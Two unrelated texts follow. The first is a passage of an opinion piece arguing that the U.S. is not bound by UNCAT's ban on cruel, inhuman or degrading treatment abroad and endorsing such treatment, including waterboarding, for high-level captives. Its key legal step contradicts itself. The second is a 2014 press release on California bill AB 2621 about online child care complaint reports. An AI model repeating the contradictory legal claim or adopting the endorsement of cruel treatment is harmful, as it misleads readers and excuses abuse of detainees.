Although the U.S. ratified UNCAT, we made it clear at the time that the word torture was to be interpreted in a "relatively limited fashion, corresponding to the common understanding of torture as an extreme practice which is universally condemned." Indeed, as McCarthy explains, the State Department stipulated that torture was "usually reserved for extreme, deliberate, and unusually cruel practices … [such as] sustained systematic beating, application of electric currents to sensitive parts of the body, and tying up or hanging positions that cause extreme pain." And, with respect to UNCAT's ban on cruel, inhuman and degrading treatment, the Senate stipulated that "the United States considers itself bound by the obligation … to prevent [such] treatment or punishment, only insofar as the term. . .means the cruel, unusual and inhumane treatment or punishment prohibited by the Fifth, Eighth, and/or Fourteenth Amendments to the Constitution of the United States." Since the U.S. Constitution does apply outside of U.S. territory, it does not prohibit cruel, inhuman or degrading treatment of foreign terror suspects outside of our borders, and thus neither does UNCAT insofar as the U.S. agreed to it.
Secretary Rice was incorrect, then, in claiming that, insofar as the U.S. is concerned, UNCAT bans cruel, inhuman or degrading treatment of foreign terrorists. In addition, as McCarthy explains, allowing unacceptably vague, legally irrelevant standards like cruel, inhuman or degrading treatment to control the debate over the interrogation of interrorists is seriously misguided. For one thing,
it ensures we will be saddled with ambiguous terms that needlessly hamstring interrogators, who will have to ask themselves, for example, "is it 'degrading' whatever that means to have a woman question a male Islamic terrorist?" Instead, we should be having a specific, frank debate about what tactics should be permitted, what tactics should be avoided, under what circumstances, and under the direction of which accountable officials.
with respect to a small subset of captives high-level terrorists who, for the sake of our citizens and our troops, should be squeezed for whatever information they have we have almost certainly engaged in conduct that would, by any sensible measure, be considered at least cruel and degrading. Water boarding, for example, may very well avoid the strict legal definition of torture, but it is certainly cruel and degrading. By insisting, contrary to law, that U.S. policy is to consider "cruel, inhuman and degrading" as binding on American personnel overseas, the administration only encourages its critics to portray the United States as an international-law violator and a dishonest one at that.
One gets the impression that Rice is torn between her desire faithfully to articulate and carry out administration policy and her desire to be liked and accepted by foreign leaders and diplomats (and perhaps by State Department employees). As a result she is reshaping administration policy to make it more congenial to foreign leaders and diplomats, and less in line with our interests and, in this case, our law.


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DOWNEY – AB 2621, a measure by Assemblymembers Cristina Garcia (D – Bell Gardens) and Kristin Olsen (R – Modesto) that would make inspector and complaint reports relating to child care centers available online, has passed out of Senate Human Services Committee on a unanimous, bipartisan 4-0 vote. Currently, California law does not provide a source for parents to learn about inspection and complaint reports that have been filed against state-licensed day care, pre-school and after-school programs. If enacted, AB 2621 will give parents easy access to a more comprehensive picture of child care facilities by requiring the Department of Social Services to post substantiated complaints on its website.
In attendance at the hearing was Julie Garcia, mother to Adam Dash, who came to share the highly publicized story about her sons' death and to convey the importance of having validated complaint reports accessible to the public. Adam was an 11-month-old baby, who died when he was unable to breathe after being improperly strapped into a car seat and placed in a closet to nap, an illegal practice that was commonplace at this child care center. The center had been issued multiple citations, but that critical information was not accessible to Ms. Garcia.
"Currently, this type of information, invaluable to new parents, is all but inaccessible to the general public. Adam would still be alive today had his father and I been aware of the history of violations." Garcia said. "Making complaints and violations easily accessible to parents online will prevent other families from the painful experience and the loss my family and I have suffered."
The operator of the child care center, Twinkle Twinkle Little Stars, had been cited in 2009 and 2010 for multiple violations and had more than twice as many infants than what was allowed under her license, yet none of the parents were aware. Last month the operator of the facility was sentenced to six years in state prison for the death of Adam Dash.
"It should not take a tragedy like Adam Dash to awaken the department on the need to have validated complaints online," Assemblymember Garcia said. "This is where we are today, and it is time for us to hold the Department's feet to the fire."
"As a working mom, one of the greatest challenges over the years has been to find child care for our children. In California, it is nearly impossible for parents to even research violations against an unscrupulous day care center," Assemblymember Olsen said. "The sooner we can begin the process of listing substantiated complaints online, the better off children in California will be."
Both authors stressed that reporting a violation means little if the information is not made transparent to families who are searching for child care centers.
AB 2621 passed out of the Senate Human Services Committee with a 4 to 0 vote and will be on its way to Senate Appropriations committee in the coming weeks.
Published: July 3, 2014 - Volume 13 - Issue 12